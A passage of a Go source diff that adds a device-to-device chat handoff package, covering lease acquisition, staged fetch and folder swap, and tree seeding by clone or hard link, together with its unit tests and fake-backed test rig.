fmt.Errorf("handoff: put %s in place: %w", c.ID, err)) + } + } + if err != nil { + return "", 0, nil, errors.Join(err, os.RemoveAll(stage.Root)) + } + return head, fence, plan, nil +} + +// fetchAndAcquire is the part of a claim that touches only the store, the +// staging folder and the directory. A chat in a copy is fetched into the +// staging folder, which starts as a copy of the tree this device already holds +// at from, so the fetch writes only the paths the new head changed; with +// nothing at from it starts empty. A chat in the person's own folder is only +// completed in the store: it is restored where it stands once the lease is +// ours, so a staged restore would be a second whole-tree restore that is made +// and thrown away. It answers the plan of the record the device actually +// acquired: another device may have published while the fetch ran, and the +// next publish replaces the record's plan wholesale, so seeding from the +// record read before the claim would carry the stale one (contract §22.2). +func (t Taker) fetchAndAcquire(ctx context.Context, stage cell.Cell, from, head string, how directory.AcquireOpts) (string, uint64, []string, error) { + inPlace := t.InPlace != nil && t.InPlace(cell.Cell{ID: stage.ID, Root: from}) + if !inPlace { + if err := freshDir(stage.Root); err != nil { + return "", 0, nil, fmt.Errorf("handoff: prepare %s: %w", stage.ID, err) + } + seedFrom(from, stage.Root) + } + if err := t.bring(ctx, stage, inPlace, head); err != nil { + return "", 0, nil, fmt.Errorf("handoff: fetch %s: %w", short(head), err) + } + got, err := t.Dir.Acquire(ctx, stage.ID, how) + if err != nil { + return "", 0, nil, fmt.Errorf("handoff: take %s: %w", stage.ID, err) + } + if got.Cell.Head != head { + head = got.Cell.Head + if err := t.bring(ctx, stage, inPlace, head); err != nil { + return "", 0, nil, t.giveBack(ctx, stage.ID, got.Cell.Lease.Fence, fmt.Errorf("handoff: fetch %s: %w", short(head), err)) + } + } + return head, got.Cell.Lease.Fence, got.Cell.Frames, nil +} + +// bring puts head where the claim restores it from: in the store alone for a +// folder the person owns, else also in the staging folder. +func (t Taker) bring(ctx context.Context, stage cell.Cell, inPlace bool, head string) error { + if inPlace { + return t.Fetch.Complete(ctx, stage, head) + } + return t.Fetch.Fetch(ctx, stage, head) +} + +// stagingOf is the folder a takeover materializes into: beside the root, so +// the final move is a rename on one filesystem. +func stagingOf(root string) string { return root + ".taking" } + +// freshDir makes dir exist and be empty, whatever a crashed takeover left. +func freshDir(dir string) error { + if err := os.RemoveAll(dir); err != nil { + return err + } + return os.MkdirAll(dir, 0o700) +} + +// install makes the fetched head the chat's tree. A folder the person owns is +// restored in place: everything it needs is already in the store from the +// staging fetch, so this is only the engine's restore to that tree, and the +// staging folder is dropped. A copy is replaced by the staging folder. +func (t Taker) install(ctx context.Context, stage, c cell.Cell, head string) error { + if t.InPlace == nil || !t.InPlace(c) { + return t.replace(ctx, stage, c) + } + if err := t.Fetch.Fetch(ctx, c, head); err != nil { + return err + } + return os.RemoveAll(stage.Root) +} + +// replace puts the staging folder in place of c's root and tells the engine the +// tree moved, so a chat that is taken again before it is ever opened is still +// known to the engine. +func (t Taker) replace(ctx context.Context, stage, c cell.Cell) error { + if err := swap(stage.Root, c.Root); err != nil { + return err + } + return t.Local.Follow(ctx, stage, c) +} + +// swap puts stage in place of root. What was at root is sealed in the store +// (any unsealed edit went to a branch first), so it is set aside for the move +// and removed once the new root is in place; a failed move puts it back. +func swap(stage, root string) error { + aside := root + ".replaced" + if err := os.RemoveAll(aside); err != nil { + return err + } + had := exists(root) + if had { + if err := fsreplace.Rename(root, aside); err != nil { + return err + } + } + if err := fsreplace.Rename(stage, root); err != nil { + if had { + err = errors.Join(err, fsreplace.Rename(aside, root)) + } + return err + } + return os.RemoveAll(aside) +} + +// open runs the hooks and opens the cell. Once the lease is ours, a failure +// here hands it back, so the chat is takeable at once instead of after a TTL. +func (t Taker) open(ctx context.Context, c cell.Cell, fence uint64) (cell.Cell, error) { + for _, hook := range t.After { + if err := hook(ctx, c); err != nil { + return cell.Cell{}, t.giveBack(ctx, c.ID, fence, fmt.Errorf("handoff: %w", err)) + } + } + opened, err := cell.OpenAt(c.Root, c.ID) + if err != nil { + return cell.Cell{}, t.giveBack(ctx, c.ID, fence, err) + } + return opened, nil +} + +// giveBack releases the lease and answers cause, joined with a release failure +// if there was one (the lease then lapses by itself). +func (t Taker) giveBack(ctx context.Context, id string, fence uint64, cause error) error { + return errors.Join(cause, t.Dir.Release(ctx, id, fence)) +} + +func exists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func short(head string) string { return head[:min(len(head), 12)] } diff --git a/internal/handoff/handoff_test.go b/internal/handoff/handoff_test.go new file mode 100644 index 0000000000..93a413f068 --- /dev/null +++ b/internal/handoff/handoff_test.go @@ -0,0 +1,394 @@ +package handoff + +import ( + "context" + "errors" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// backFromB is the common scene: A started the chat, B continued it and let go. +func backFromB(t *testing.T) (w *world, a, b *device) { + t.Helper() + w = newWorld(t) + a, b = w.device(devA), w.device(devB) + drv := a.start(map[string]string{"a.txt": "one"}) + a.release(drv) + b.work(map[string]string{"a.txt": "one", "b.txt": "from b"}) + w.trace.steps = nil + return w, a, b +} + +func TestTakeKeepsLocalEditsInBranch(t *testing.T) { + w, a, _ := backFromB(t) + head := w.cellRec(chatID).Head + if err := os.WriteFile(filepath.Join(a.root(chatID), "a.txt"), []byte("hand edit"), 0o600); err != nil { + t.Fatal(err) + } + a.local.dirty = true + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if taken.Kept == "" { + t.Fatal("Kept is empty; the edit was not branched") + } + want := []string{"seal", "branch", "fetch", "acquire"} + if !reflect.DeepEqual(w.trace.steps, want) { + t.Fatalf("order = %v, want %v (edits are kept before anything is fetched)", w.trace.steps, want) + } + if got := tree(t, taken.Cell.Root); got["b.txt"] != "from b" || got["a.txt"] != "one" { + t.Fatalf("root = %v, want B's head materialized", got) + } + rec := w.cellRec(taken.Kept) + if rec.ParentCell != chatID || rec.OrphanTurns != 1 { + t.Fatalf("branch record = parent %q orphan %d, want parent %s orphan 1", rec.ParentCell, rec.OrphanTurns, chatID) + } + if taken.Driving.Head != head { + t.Fatalf("driving head = %s, want %s", taken.Driving.Head, head) + } + if got := fetchBranch(t, w, rec.Head); got["a.txt"] != "hand edit" { + t.Fatalf("branch holds %v, want the hand edit", got) + } +} + +// fetchBranch materializes a head on a third device and reads it back. +func fetchBranch(t *testing.T, w *world, head string) map[string]string { + t.Helper() + c := w.device("dev_c") + cl := c.cell("branch-view") + if err := c.taker().Fetch.Fetch(context.Background(), cl, head); err != nil { + t.Fatal(err) + } + return tree(t, cl.Root) +} + +func TestTakeCleanExistingRootIsNotBranched(t *testing.T) { + _, a, _ := backFromB(t) + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil || taken.Kept != "" { + t.Fatalf("Take = kept %q, err %v; a clean root needs no branch", taken.Kept, err) + } +} + +func TestTakeBackAfterAToBAndAgain(t *testing.T) { + w, a, b := backFromB(t) + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if taken.Driving.Fence != 3 || taken.Kept != "" { + t.Fatalf("fence %d kept %q, want fence 3 and nothing kept", taken.Driving.Fence, taken.Kept) + } + if got := tree(t, taken.Cell.Root); got["b.txt"] != "from b" { + t.Fatalf("root = %v, want B's work", got) + } + a.release(taken.Driving) + head := b.work(map[string]string{"b.txt": "second b"}) + again, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if again.Driving.Head != head || tree(t, again.Cell.Root)["b.txt"] != "second b" { + t.Fatalf("second take = head %s tree %v, want %s and B's newest", again.Driving.Head, tree(t, again.Cell.Root), head) + } + if got := w.cellRec(chatID).Lease.Device; got != devA { + t.Fatalf("lease holder %s, want %s", got, devA) + } +} + +// TestTakeRunningChatDisplacesItsHolder: a person who continues a chat that is +// running on another device takes it at once, without waiting for the holder's +// lease to run out, and the holder's next write is refused as superseded. +func TestTakeRunningChatDisplacesItsHolder(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + drv := a.start(map[string]string{"a.txt": "one"}) // A still holds a live lease + + taken, err := b.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatalf("Take of a running chat = %v, want it taken at once", err) + } + if taken.Driving.Fence != 2 || w.cellRec(chatID).Lease.Device != devB { + t.Fatalf("fence %d, holder %s; want B at fence 2", taken.Driving.Fence, w.cellRec(chatID).Lease.Device) + } + pub := &cellsync.Publisher{Engine: a.eng, Store: a.store, Dir: a.dir} + next := a.eng.Seal(a.cell(chatID), map[string]string{"a.txt": "two"}) + err = pub.Publish(context.Background(), &drv, next, cellsync.PublishInfo{Class: "chat"}) + if !errors.Is(err, cellsync.ErrSuperseded) { + t.Fatalf("displaced holder's publish = %v, want ErrSuperseded", err) + } +} + +func TestTakeFetchFailureTakesNoLease(t *testing.T) { + w, a, _ := backFromB(t) + before := w.cellRec(chatID).Lease + a.store.down = blobstore.ErrUnreachable + + _, err := a.taker().Take(context.Background(), chatID) + if !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("err = %v, want the store's", err) + } + if w.trace.has("acquire") || w.cellRec(chatID).Lease != before { + t.Fatalf("lease touched: trace %v, lease %+v", w.trace.steps, w.cellRec(chatID).Lease) + } +} + +func TestTakeMissingObjectNamesItAndLeavesRootClean(t *testing.T) { + w, _, _ := backFromB(t) + c := w.device("dev_c") + c.store.hide = true + + _, err := c.taker().Take(context.Background(), chatID) + if err == nil || c.store.Missing == "" || !strings.Contains(err.Error(), c.store.Missing) { + t.Fatalf("err = %v, want it to name object %q", err, c.store.Missing) + } + if !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("err = %v, want blobstore.ErrNotFound underneath", err) + } + if _, statErr := os.Stat(c.root(chatID)); !os.IsNotExist(statErr) { + t.Fatalf("root exists after a failed take: %v", tree(t, c.root(chatID))) + } + if w.trace.has("acquire") { + t.Fatal("a lease was taken for a head that could not be fetched") + } +} + +func TestTakeRefusedWhenDirectoryUnreachable(t *testing.T) { + w, a, _ := backFromB(t) + a.local.dirty = true + a.dir.down = directory.ErrUnreachable + + _, err := a.taker().Take(context.Background(), chatID) + if !errors.Is(err, directory.ErrUnreachable) { + t.Fatalf("err = %v, want directory.ErrUnreachable", err) + } + if len(w.trace.steps) != 0 { + t.Fatalf("steps %v ran; nothing may change without the directory", w.trace.steps) + } +} + +func TestTakeLosesRace(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + drv := a.start(map[string]string{"a.txt": "one"}) + a.release(drv) + ran := false + a.hooks = []func(context.Context, cell.Cell) error{func(context.Context, cell.Cell) error { ran = true; return nil }} + // B wins the acquire while A is still fetching. + a.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + before := w.cellRec(chatID).Lease + + taken, err := a.taker().Take(context.Background(), chatID) + if !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + if ran || taken.Kept != "" || taken.Driving.Fence != 0 { + t.Fatalf("hooks ran %v, taken %+v; a lost race changes nothing", ran, taken) + } + if got := w.cellRec(chatID).Lease; got.Device != devB || got.Fence != before.Fence+1 { + t.Fatalf("lease = %+v, want B's, untouched by A", got) + } +} + +func TestTakeRefetchesMovedHead(t *testing.T) { + w, a, b := backFromB(t) + stale := w.cellRec(chatID).Head + var moved string + a.onFetc = func() { + // C5 permits a newer head from the same holder while fetching. Keep + // its fence unchanged: reacquiring here would be the C7 losing race, + // rather than the head-only change this test has always asserted. + rec := w.cellRec(chatID) + cl := b.cell(chatID) + moved = b.eng.Seal(cl, w.withMeta(map[string]string{"b.txt": "moved"})) + drv := cellsync.Driving{Cell: cl, Head: rec.Head, Fence: rec.Lease.Fence} + pub := &cellsync.Publisher{Engine: b.eng, Store: b.store, Dir: b.dir.Client} + if err := pub.Publish(context.Background(), &drv, moved, cellsync.PublishInfo{Class: "chat"}); err != nil { + t.Fatal(err) + } + b.release(drv) + } + tk := a.taker() + + taken, err := tk.Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + heads := tk.Fetch.(*tracedFetch).heads + if !reflect.DeepEqual(heads, []string{stale, moved}) { + t.Fatalf("fetched %v, want the stale head then %s", heads, moved) + } + if taken.Driving.Head != moved || tree(t, taken.Cell.Root)["b.txt"] != "moved" { + t.Fatalf("opened head %s tree %v, want the moved head", taken.Driving.Head, tree(t, taken.Cell.Root)) + } +} + +func TestTakeAfterHooksRunInOrderBeforeOpen(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + // The head carries no meta.json; only a hook makes the folder openable, so + // a successful take proves the hooks ran before cell.OpenAt. + w.bare = true + a.release(a.start(nil)) + var order []string + b.hooks = []func(context.Context, cell.Cell) error{ + func(context.Context, cell.Cell) error { order = append(order, "first"); return nil }, + func(_ context.Context, c cell.Cell) error { + order = append(order, "second") + meta := filepath.Join(c.Root, cell.MetaPath) + if err := os.MkdirAll(filepath.Dir(meta), 0o700); err != nil { + return err + } + return os.WriteFile(meta, []byte(w.meta), 0o600) + }, + } + if _, err := b.taker().Take(context.Background(), chatID); err != nil { + t.Fatalf("Take: %v", err) + } + if !reflect.DeepEqual(order, []string{"first", "second"}) { + t.Fatalf("hook order = %v", order) + } +} + +func TestTakeFailingHookFailsBeforeOpenAndFreesLease(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + w.bare = true // the folder cannot be opened, so an open error would show if hooks did not come first + a.release(a.start(nil)) + boom := errors.New("vault refused") + var ran []string + b.hooks = []func(context.Context, cell.Cell) error{ + func(context.Context, cell.Cell) error { ran = append(ran, "one"); return nil }, + func(context.Context, cell.Cell) error { ran = append(ran, "two"); return boom }, + func(context.Context, cell.Cell) error { ran = append(ran, "three"); return nil }, + } + + _, err := b.taker().Take(context.Background(), chatID) + if !errors.Is(err, boom) { + t.Fatalf("err = %v, want the hook's error (and not an open error: hooks come first)", err) + } + if !reflect.DeepEqual(ran, []string{"one", "two"}) { + t.Fatalf("hooks ran %v, want the first two only", ran) + } + if got := w.cellRec(chatID).Lease.Expires; got != 0 { + t.Fatalf("lease expires %d after a failed take, want it released", got) + } +} + +// TestTakeLostRaceLeavesNoTreeInTheRoot pins ruling (b): the fetched tree lives +// in a staging folder until the lease is ours, so a device that loses the race +// has neither a root nor a staging folder afterwards. +func TestTakeLostRaceLeavesNoTreeInTheRoot(t *testing.T) { + w := newWorld(t) + a, b, c := w.device(devA), w.device(devB), w.device("dev_c") + a.release(a.start(map[string]string{"a.txt": "one"})) + c.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + + _, err := c.taker().Take(context.Background(), chatID) + if !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + for _, path := range []string{c.root(chatID), c.root(chatID) + ".taking"} { + if _, statErr := os.Stat(path); !os.IsNotExist(statErr) { + t.Fatalf("%s exists after a lost race", path) + } + } +} + +// TestTakeLostRaceKeepsTheOldRoot is the same law for a device that already has +// the chat: the tree it had stays exactly as it was. +func TestTakeLostRaceKeepsTheOldRoot(t *testing.T) { + _, a, b := backFromB(t) + before := tree(t, a.root(chatID)) + a.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + if _, err := a.taker().Take(context.Background(), chatID); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + if got := tree(t, a.root(chatID)); !reflect.DeepEqual(got, before) { + t.Fatalf("root changed by a lost race: %v, was %v", got, before) + } +} + +// TestTakeInPlaceKeepsThePersonsFolder: a chat whose tree is a folder the person +// owns gets the head restored into that folder, which stays the same directory. +func TestTakeInPlaceKeepsThePersonsFolder(t *testing.T) { + _, a, _ := backFromB(t) + before, err := os.Stat(a.root(chatID)) + if err != nil { + t.Fatal(err) + } + tk := a.taker() + tk.InPlace = func(cell.Cell) bool { return true } + + taken, err := tk.Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + after, err := os.Stat(taken.Cell.Root) + if err != nil || !os.SameFile(before, after) { + t.Fatalf("the folder was replaced (%v)", err) + } + if got := tree(t, taken.Cell.Root); got["b.txt"] != "from b" { + t.Fatalf("root = %v, want B's work restored in place", got) + } + if _, err := os.Stat(taken.Cell.Root + ".taking"); !os.IsNotExist(err) { + t.Fatalf("staging folder left behind (%v)", err) + } + if len(a.local.followed) != 0 { + t.Fatalf("a folder restored in place never moved, yet the engine was told %v", a.local.followed) + } +} + +// TestTakeInPlaceRestoresTheTreeOnceAndOnlyWhereItStands: a staged restore of +// a folder that is then restored in place is a second whole-tree restore that +// is thrown away, so the take completes the store and restores into the folder +// alone. +func TestTakeInPlaceRestoresTheTreeOnceAndOnlyWhereItStands(t *testing.T) { + _, a, _ := backFromB(t) + tk := a.taker() + tk.InPlace = func(cell.Cell) bool { return true } + traced := tk.Fetch.(*tracedFetch) + + if _, err := tk.Take(context.Background(), chatID); err != nil { + t.Fatal(err) + } + + if want := []string{a.root(chatID)}; !reflect.DeepEqual(traced.restored, want) { + t.Fatalf("trees restored into %v, want only %v", traced.restored, want) + } +} + +// A copy that is replaced by the staging folder is a tree the engine registered +// under the staging path, so the engine is told it moved. +func TestTakeTellsTheEngineWhereTheStagedTreeWent(t *testing.T) { + _, a, _ := backFromB(t) + if _, err := a.taker().Take(context.Background(), chatID); err != nil { + t.Fatal(err) + } + root := a.root(chatID) + if want := []string{root + ".taking -> " + root}; !reflect.DeepEqual(a.local.followed, want) { + t.Fatalf("the engine was told %v, want %v", a.local.followed, want) + } +} diff --git a/internal/handoff/rig_test.go b/internal/handoff/rig_test.go new file mode 100644 index 0000000000..ed1a287eb7 --- /dev/null +++ b/internal/handoff/rig_test.go @@ -0,0 +1,341 @@ +package handoff + +import ( + "context" + "fmt" + "os" + "path/filepath" + "slices" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + devA = "dev_a" + devB = "dev_b" + chatID = "01J0000000000000000000000A" +) + +// world is the shared store and directory that every device of one identity sees. +type world struct { + t *testing.T + clock *directorytest.FakeClock + dir *directory.Memory + mem *blobstore.Memory + meta string // a valid .cell/meta.json every sealed head carries + bare bool // seal heads without it, so only a hook can make the folder openable + trace *trace + ids int +} + +// device is one machine: its own engine, its own disk, its own directory client. +type device struct { + w *world + name string + eng *cellsync.FakeEngine + dir *tracedDir + store *tracedStore + local *fakeLocal + base string + hooks []func(context.Context, cell.Cell) error + onFetc func() // runs after each fetch, to move the world under the taker +} + +func newWorld(t *testing.T) *world { + t.Helper() + clock := directorytest.NewFakeClock() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.FilesOnly}) + if err != nil { + t.Fatal(err) + } + raw, err := os.ReadFile(filepath.Join(c.Root, cell.MetaPath)) + if err != nil { + t.Fatal(err) + } + return &world{t: t, clock: clock, dir: directory.NewMemory(clock.Now), mem: blobstore.NewMemory(), + meta: string(raw), trace: &trace{}} +} + +func (w *world) device(name string) *device { + d := &device{w: w, name: name, eng: cellsync.NewFakeEngine(w.t.TempDir()), base: w.t.TempDir()} + d.dir = &tracedDir{Client: w.dir.For(name), trace: w.trace} + d.store = &tracedStore{Store: w.mem} + d.local = &fakeLocal{d: d} + return d +} + +func (d *device) root(id string) string { return filepath.Join(d.base, "roots", id) } + +func (d *device) cell(id string) cell.Cell { return cell.Cell{ID: id, Root: d.root(id)} } + +// withMeta adds the cell's meta.json to files, as every real head carries it. +func (w *world) withMeta(files map[string]string) map[string]string { + out := map[string]string{} + if !w.bare { + out[cell.MetaPath] = w.meta + } + for k, v := range files { + out[k] = v + } + return out +} + +// taker is this device's Taker, wired as the real wiring would be. +func (d *device) taker() Taker { + fetcher := &cellsync.Fetcher{Engine: d.eng, Store: d.store, Inbox: func(c cell.Cell) string { + return filepath.Join(d.base, "inbox", c.ID) + }} + pub := &cellsync.Publisher{Engine: d.eng, Store: d.store, Dir: d.dir} + brancher := cellsync.Brancher{Dir: d.dir, Publisher: pub, NewID: d.newID} + return Taker{ + Dir: d.dir, + Fetch: &tracedFetch{d: d, inner: fetcher}, + Local: d.local, + Branch: d.branch(brancher), + RootFor: d.root, + After: d.hooks, + } +} + +func (d *device) newID() (string, error) { + d.w.ids++ + return fmt.Sprintf("branch-%s-%d", d.name, d.w.ids), nil +} + +// branch notes the step and hands over to the Brancher, which uploads head +// itself: nothing in this wiring uploads for it. +func (d *device) branch(b cellsync.Brancher) func(context.Context, *cellsync.Driving, string, uint32) (string, error) { + return func(ctx context.Context, from *cellsync.Driving, head string, turns uint32) (string, error) { + d.w.trace.add("branch") + return b.Branch(ctx, from, head, turns, cellsync.PublishInfo{Class: "chat"}) + } +} + +// start makes this device create the chat with files and hold it. +func (d *device) start(files map[string]string) cellsync.Driving { + d.w.t.Helper() + c := d.cell(chatID) + drv := cellsync.Driving{Cell: c} + head := d.eng.Seal(c, d.w.withMeta(files)) + d.materialize(c, files) + pub := &cellsync.Publisher{Engine: d.eng, Store: d.store, Dir: d.dir} + if err := pub.Publish(context.Background(), &drv, head, cellsync.PublishInfo{Class: "chat"}); err != nil { + d.w.t.Fatalf("%s start: %v", d.name, err) + } + return drv +} + +// work is one turn of this device on the chat: take the lease, seal files, +// publish, and let the lease go. +func (d *device) work(files map[string]string) string { + d.w.t.Helper() + ctx := context.Background() + view, err := d.dir.Client.Cell(ctx, chatID) + if err != nil { + d.w.t.Fatal(err) + } + got, err := d.dir.Client.Acquire(ctx, chatID, directory.AcquireOpts{}) + if err != nil { + d.w.t.Fatalf("%s acquire: %v", d.name, err) + } + c := d.cell(chatID) + head := d.eng.Seal(c, d.w.withMeta(files)) + drv := cellsync.Driving{Cell: c, Fence: got.Cell.Lease.Fence, Head: view.Cell.Head} + pub := &cellsync.Publisher{Engine: d.eng, Store: d.store, Dir: d.dir.Client} + if err := pub.Publish(ctx, &drv, head, cellsync.PublishInfo{Class: "chat"}); err != nil { + d.w.t.Fatalf("%s publish: %v", d.name, err) + } + d.release(drv) + return head +} + +func (d *device) release(drv cellsync.Driving) { + d.w.t.Helper() + if err := d.dir.Client.Release(context.Background(), chatID, drv.Fence); err != nil { + d.w.t.Fatalf("%s release: %v", d.name, err) + } +} + +// materialize writes files under the device's root for c, as a live session would. +func (d *device) materialize(c cell.Cell, files map[string]string) { + d.w.t.Helper() + for path, body := range d.w.withMeta(files) { + target := filepath.Join(c.Root, path) + if err := os.MkdirAll(filepath.Dir(target), 0o700); err != nil { + d.w.t.Fatal(err) + } + if err := os.WriteFile(target, []byte(body), 0o600); err != nil { + d.w.t.Fatal(err) + } + } +} + +func (d *device) lapse() { d.w.clock.Advance(directory.LeaseTTL + 1) } + +// cellRec is the directory's record of id. +func (w *world) cellRec(id string) directory.Cell { + w.t.Helper() + v, err := w.dir.For("observer").Cell(context.Background(), id) + if err != nil { + w.t.Fatalf("cell %s: %v", id, err) + } + return v.Cell +} + +// tree reads every file under root except the cell's own state as path -> body. +func tree(t *testing.T, root string) map[string]string { + t.Helper() + out := map[string]string{} + _ = filepath.WalkDir(root, func(p string, e os.DirEntry, err error) error { + if err != nil || e.IsDir() { + return err + } + rel, _ := filepath.Rel(root, p) + rel = filepath.ToSlash(rel) + raw, err := os.ReadFile(p) + out[rel] = string(raw) + return err + }) + delete(out, cell.MetaPath) + return out +} + +// trace records the order of the steps a takeover makes. +type trace struct{ steps []string } + +func (t *trace) add(s string) { t.steps = append(t.steps, s) } + +func (t *trace) has(s string) bool { + for _, x := range t.steps { + if x == s { + return true + } + } + return false +} + +// tracedDir notes acquires and can be made unreachable. +type tracedDir struct { + directory.Client + trace *trace + down error +} + +func (d *tracedDir) Cell(ctx context.Context, id string) (directory.CellView, error) { + if d.down != nil { + return directory.CellView{}, d.down + } + return d.Client.Cell(ctx, id) +} + +func (d *tracedDir) Acquire(ctx context.Context, id string, o directory.AcquireOpts) (directory.CellView, error) { + d.trace.add("acquire") + return d.Client.Acquire(ctx, id, o) +} + +// tracedStore can lose an object or go away. +type tracedStore struct { + blobstore.Store + down error + hide bool // hide the next object asked for + Missing string // the rid that was hidden +} + +func (s *tracedStore) Get(ctx context.Context, rid string) ([]byte, error) { + if s.down != nil { + return nil, s.down + } + if s.hide { + s.hide, s.Missing = false, rid + } + if rid == s.Missing && rid != "" { + return nil, blobstore.ErrNotFound + } + return s.Store.Get(ctx, rid) +} + +// GetMany is Get's failures over a batch: the store being down fails it, and a +// hidden object ends the answer where it stands, as an absent one does. +func (s *tracedStore) GetMany(ctx context.Context, rids []string) ([]blobstore.Object, error) { + if s.down != nil { + return nil, s.down + } + if s.hide && len(rids) > 0 { + s.hide, s.Missing = false, rids[0] + } + if i := slices.Index(rids, s.Missing); s.Missing != "" && i >= 0 { + rids = rids[:i] + if i == 0 { + return nil, blobstore.ErrNotFound + } + } + return s.Store.GetMany(ctx, rids) +} + +// tracedFetch notes each fetch and lets a test move the world after one. +type tracedFetch struct { + d *device + inner Fetch + heads []string + // restored is the root of every fetch that restored a tree. + restored []string +} + +func (f *tracedFetch) Fetch(ctx context.Context, c cell.Cell, head string) error { + f.d.w.trace.add("fetch") + f.heads = append(f.heads, head) + f.restored = append(f.restored, c.Root) + err := f.inner.Fetch(ctx, c, head) + if err == nil && f.d.onFetc != nil { + hook := f.d.onFetc + f.d.onFetc = nil // once + hook() + } + return err +} + +// Complete is a fetch that restores nothing, so it is traced as one: the +// tests that move the world after the first fetch do not care which kind it was. +func (f *tracedFetch) Complete(ctx context.Context, c cell.Cell, head string) error { + f.d.w.trace.add("fetch") + f.heads = append(f.heads, head) + err := f.inner.Complete(ctx, c, head) + if err == nil && f.d.onFetc != nil { + hook := f.d.onFetc + f.d.onFetc = nil // once + hook() + } + return err +} + +// fakeLocal is a device's view of its own root: dirty when told, and sealed +// from whatever files the root holds. +type fakeLocal struct { + d *device + dirty bool + // followed is each move the engine was told about, as "from -> to". + followed []string +} + +func (l *fakeLocal) Dirty(context.Context, cell.Cell) (bool, error) { return l.dirty, nil } + +func (l *fakeLocal) Unpublished(cell.Cell, string) (string, uint32, error) { return "", 0, nil } + +func (l *fakeLocal) Follow(_ context.Context, from, to cell.Cell) error { + l.followed = append(l.followed, from.Root+" -> "+to.Root) + return nil +} + +func (l *fakeLocal) Seal(_ context.Context, c cell.Cell) (string, uint32, error) { + l.d.w.trace.add("seal") + files := map[string]string{} + for p, body := range tree(l.d.w.t, c.Root) { + files[p] = body + } + return l.d.eng.Seal(c, l.d.w.withMeta(files)), 1, nil +} diff --git a/internal/handoff/seed.go b/internal/handoff/seed.go new file mode 100644 index 0000000000..9ad4a8c5c6 --- /dev/null +++ b/internal/handoff/seed.go @@ -0,0 +1,126 @@ +package handoff + +import ( + "io/fs" + "os" + "path/filepath" +) + +// identityDir is the engine's own bookkeeping folder at the top of a tree. It +// names the workspace the folder belongs to, so a copy of it would make the +// staging folder pose as the chat's real root. +const identityDir = ".furrow" + +// seedFrom fills the empty folder dst with the tree at src: a clone of it where +// the filesystem clones, else directories made anew and files hard-linked to +// the files of src, so a take that changes a few paths writes a few paths. A +// shared file is safe because the engine never writes into a file that exists: +// it writes a new file beside it and renames that over the old one, so the +// file in src keeps its bytes, mode and times whatever the take does to dst. +// +// Seeding only saves work and never decides what the tree holds: the engine +// restores the head over dst by content, adding what is missing, replacing +// what differs and removing what the head does not have. An entry that cannot +// be seeded (a socket, a link the filesystem refuses) is left out, and the +// engine writes it. +func seedFrom(src, dst string) { + if !exists(src) || cloned(src, dst) { + return + } + linkTree(src, dst) +} + +// cloneTree makes dst, which must not exist, a copy-on-write clone of the tree +// at src in one call. It is a variable so a test can refuse the clone the way +// a filesystem that cannot clone does, and its platform file says which +// filesystems can. +var cloneTree = cloneTreeOnPlatform + +// cloned seeds the empty folder dst with a clone of src and says whether it +// did. A clone is one system call where hard links are one per file, which is +// the difference between a tenth of a second and several seconds on a +// repository of thousands of files, and it gives the staging folder files of +// its own, so nothing in it can alias a file of src. When the clone is refused +// (another volume, a filesystem without clones) dst is the empty folder it was +// and the caller links instead. +func cloned(src, dst string) bool { + if os.Remove(dst) != nil { + return false + } + if err := cloneTree(src, dst); err != nil { + _ = os.RemoveAll(dst) + return os.Mkdir(dst, 0o700) != nil + } + _ = os.RemoveAll(filepath.Join(dst, identityDir)) + return true +} + +// linkTree is the seed for a filesystem that cannot clone: directories made +// anew and files hard-linked, an entry that cannot be linked left out. +func linkTree(src, dst string) { + var dirs []string + _ = filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error { + rel, relErr := filepath.Rel(src, path) + if err != nil || relErr != nil || rel == identityDir { + return skipEntry(d) + } + if rel != "." && !seedEntry(path, filepath.Join(dst, rel), d) { + return skipEntry(d) + } + if d.IsDir() { + dirs = append(dirs, rel) + } + return nil + }) + settleDirs(src, dst, dirs) +} + +// linkFile makes a hard link. It is a variable so a test can refuse the link +// the way a staging folder on another filesystem does. +var linkFile = os.Link + +// skipEntry leaves out an entry, and what is below it when it is a folder. +func skipEntry(d fs.DirEntry) error { + if d != nil && d.IsDir() { + return fs.SkipDir + } + return nil +} + +// seedEntry makes the copy of one entry in the staging folder and says +// whether it is there. +func seedEntry(from, to string, d fs.DirEntry) bool { + switch { + case d.IsDir(): + return os.Mkdir(to, 0o700) == nil + case d.Type()&fs.ModeSymlink != 0: 